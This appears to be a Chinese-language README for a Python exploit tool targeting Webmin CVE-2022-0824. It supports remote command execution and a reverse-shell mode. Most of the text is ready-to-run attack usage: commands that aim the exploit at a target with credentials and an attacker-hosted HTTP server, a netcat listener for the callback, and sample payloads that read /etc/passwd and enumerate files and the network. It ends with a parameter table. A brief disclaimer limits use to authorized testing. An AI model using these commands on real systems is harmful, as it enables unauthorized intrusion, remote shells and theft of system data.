Python 实现的 Webmin CVE-2022-0824 漏洞利用工具,支持双模式:直接命令执行和反向 Shell。具备多种载荷类型、智能文件管理以及详细的调试日志,适用于授权安全测试。
[!IMPORTANT]
Webmin CVE-2022-0824 增强版漏洞利用工具 - 支持命令执行和反向Shell双模式
[!IMPORTANT]
一个针对 Webmin CVE-2022-0824 漏洞的增强版利用工具,支持直接命令执行和反向Shell两种模式。
# Python 3.6+
pip3 install requests urllib3
# 基本命令执行
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# 查看系统信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# 列出文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# 查看敏感文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# 网络信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
# 1. 启动监听器
nc -nlvp 9999
# 2. 执行漏洞利用
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
*注:反向Shell模式下必需
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
本工具仅用于授权的安全测试和教育目的。
欢迎提交Issue和Pull Request!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)本项目采用 MIT 许可证 - 查看 LICENSE 文件了解详情
如有问题或建议,请通过以下方式联系:
⭐ 如果这个项目对你有帮助,请给个Star支持一下!
requests>=2.25.1
urllib3>=1.26.0
| 参数 | 说明 | 必需 | 示例 |
|---|
-t, --target | 目标Webmin URL | ✅ | http://192.168.1.100:10000/ |
-c, --credential | 登录凭据 | ✅ | admin:password |
-LS, --py3http_server | HTTP服务器地址 | ✅ | 192.168.1.50:8080 |
--shell | 要执行的命令 | ❌ | "ls -la" |
-L, --callback_ip | 反向Shell回连IP | ❌* | 192.168.1.50 |
-P, --callback_port | 反向Shell回连端口 | ❌* | 9999 |